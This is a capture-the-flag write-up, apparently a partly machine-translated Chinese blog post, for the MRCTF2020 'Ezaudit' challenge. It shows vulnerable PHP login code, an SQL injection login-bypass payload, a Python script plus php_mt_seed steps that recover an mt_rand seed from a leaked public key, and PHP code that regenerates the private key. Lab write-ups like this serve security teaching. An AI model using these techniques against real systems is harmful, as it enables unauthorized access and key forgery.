当前位置:网站首页>[MRCTF2020]Ezaudit
[MRCTF2020]Ezaudit
2022-07-30 16:54:00 【His new reading.】
[MRCTF2020]Ezaudit

The page found nothing,Clicking various buttons found nothing,dirsearch扫描一下发现了www.zip

Download and unzip to get oneindex.php,Check out the source code
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???The audit code is informed that there islogin.html,A username is required to log in、密码、密钥,And the username must be crisper,The password can be freely entered but cannot be empty,A master password can be used' or '1'='1
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 密钥的话,The audit code sees itmt_rand()and the bottommost public keyKVQP0LdJKRaV3n9D,php伪随机数漏洞,First use the script to explode the random number:
str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
for j in range(len(str2)):
if str1[i] == str2[j]:
res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(res)![]()
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
然后用php_mt_seedburst seeds:

1775196155,Then the script generates the private key(要求php版本再5.2.1到7.0.x之间,PHP在线运行 - TOOLFK工具网):
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key() . "<br>";
echo private_key();
?>
XuNhoueCDCGc,然后进入login.html
![]()


边栏推荐
- 游戏窗口化的逆向分析
- Login Module Debugging - Getting Started with Software Debugging
- 云厂商做生态需要“真连接、真赋能”,用“技术+真金实银”发展伙伴
- MySQL详细学习教程(建议收藏)
- Rounding out the most practical way of several DLL injection
- 武汉星起航跨境电商有前景吗?亚马逊的未来趋势如何发展?
- 李沐d2l(七)kaggle房价预测+数值稳定性+模型初始化和激活函数
- 华为云数据治理生产线DataArts,让“数据‘慧’说话”
- 数据库的三大范式
- [NCTF2019] Fake XML cookbook-1|XXE vulnerability|XXE information introduction
猜你喜欢

你是一流的输家,你因此成为一流的赢家

Jetpack Compose 到底优秀在哪里?| 开发者说·DTalk

【HMS core】【FAQ】A collection of typical questions about Account, IAP, Location Kit and HarmonyOS 1

Moonbeam创始人解读多链新概念Connected Contract

Security business revenue growth rate exceeds 70% 360 builds digital security leader

大厂面试官眼中的好简历到底长啥样

(一)云计算技术学习--虚拟化vSphere学习

Leetcode 118. 杨辉三角

DTSE Tech Talk丨第2期:1小时深度解读SaaS应用系统设计

【Linux操作系统】 虚拟文件系统 | 文件缓存
随机推荐
Gorilla Mux 和 GORM 的使用方法
[TypeScript]简介、开发环境搭建、基本类型
实现web实时消息推送的7种方案
《痞子衡嵌入式半月刊》 第 59 期
3D激光SLAM:LeGO-LOAM论文解读---激光雷达里程计与建图
【SOC】经典输出hello world
DTSE Tech Talk丨第2期:1小时深度解读SaaS应用系统设计
huato 热更新环境搭建(DLL方式热更新C#代码)
Large-scale integrated office management system source code (OA+HR+CRM) source code sharing for free
(1) Cloud computing technology learning - virtualized vSphere learning
3D激光SLAM:LeGO-LOAM论文解读---实验对比
哎,这要人老命的缓存一致问题啊
PHP留言反馈管理系统源码
data storage
游戏显示分辨率的逆向分析
UI测试新方法:视觉感知测试详解
【SOC】Classic output hello world
CMake库搜索函数居然不搜索LD_LIBRARY_PATH
初识二叉搜索树
Visual Studio 集成Qt开发环境的一些注意事项